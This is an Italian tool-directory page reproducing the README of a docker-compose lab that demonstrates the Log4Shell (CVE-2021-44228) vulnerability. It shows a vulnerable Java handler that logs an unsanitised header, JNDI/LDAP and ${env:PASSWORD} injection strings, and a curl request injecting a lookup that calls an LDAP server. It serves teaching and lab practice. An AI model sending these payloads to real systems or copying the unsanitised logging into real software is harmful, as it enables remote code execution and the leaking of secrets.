Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
log4j-cve-2021-44228-sample — Esempio di configurazione docker-compose per mostrare come funziona questo exploit | Kitploit
Strumenti/GitHubGitHub/alpacamybags118/log4j-cve-2021-44228-sample
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubalpacamybags118/log4j-cve-2021-44228-sample

log4j-cve-2021-44228-sample

Esempio di configurazione docker-compose per mostrare come funziona questo exploit

Vedi Repository
254 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Esempio di exploit log4j

Questo repository contiene un esempio funzionante di abuso del recente exploit log4j. Non esegue un vero e proprio codice remoto, ma mostra la facilità con cui un attaccante può far sì che un'applicazione vulnerabile chiami il proprio server ldap.

Utilizza l'eccellente app vulnerabile di esempio log4j creata da christophetd: https://github.com/christophetd/log4shell-vulnerable-app

Spiegazione

Questa vulnerabilità abusa della funzionalità lookup di log4j, in particolare del jndi che permette a log4j di eseguire ricerche da host esterni per ottenere dati da inserire. Può essere sfruttata per fare qualsiasi cosa, dalla registrazione di variabili sensibili nell'ambiente fino all'esecuzione remota di codice.

Le ricerche vengono effettuate per qualsiasi testo racchiuso tra ${} quando il logger viene chiamato. Per esempio,

${jndi:ldap://someldapserver:1389/o=example}

eseguirebbe una ricerca su quel server LDAP con la query data e restituirebbe il risultato.

Un esempio più semplice che non fa uso di jndi, ma è comunque pericoloso:

${env:PASSWORD}

Questo stampa il contenuto di quella variabile d'ambiente nei log. Qualcuno con accesso a quei log potrebbe quindi estrarre dati sensibili dall'applicazione.

Codice log4j

Il codice in log4j per abusare di questo exploit è piuttosto semplice. Devi solo chiamare il logger per registrare una proprietà della richiesta non sanificata. Per esempio, potresti registrare il contenuto di un User-Agent.

...
@GetMapping("/bad")
	public void Bad(@RequestHeader("User-Agent") String userAgent) {
    logger.info("Received User-Agent header " + userAgent);
	}

Utilizzo di questo esempio

Prima, costruisci il server ldap locale:

docker build -t ldapnode .

Una volta costruito, avvia l'intero stack eseguendo

docker-compose up

Poi, puoi effettuare una richiesta all'app, usando l'header x-api-version per iniettare la ricerca

curl --request GET \
  --url http://localhost:8080/ \
  --header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'

Usando quella richiesta, vedrai nei log di docker-compose che il server ldap è stato chiamato:

bad_1    | ldap server has been called!
log4j_1  | 2021-12-14 02:43:11.657  INFO 1 --- [nio-8080-exec-2] HelloWorld                               : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c

Cosa fare se sei stato colpito

Consulta questa documentazione per i percorsi di risoluzione

Scarica lo strumento